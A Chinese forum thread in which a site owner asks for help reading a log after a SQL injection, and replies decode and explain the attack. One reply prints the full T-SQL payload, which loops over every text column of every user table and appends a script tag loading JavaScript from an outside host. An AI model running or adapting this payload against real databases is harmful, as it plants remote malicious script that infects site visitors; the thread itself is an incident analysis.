sql注入 空间日志求强人解读！

Question

218.85.134.172 POST
这里似乎已经显示了吧.

Answer 1

这是@S的内容
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.heihei117.cn/k.js></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END C

Answer 2

也就是用游标的方式在你所有的表中将字符类型为
ntext
nvarchar
sysname
text
varchar
的字段都修改了

Answer 3

2楼非常感谢您的回复，218.85.134.172  是我主机的IP呢能不能从这日志中 看到这操作来源的IP？？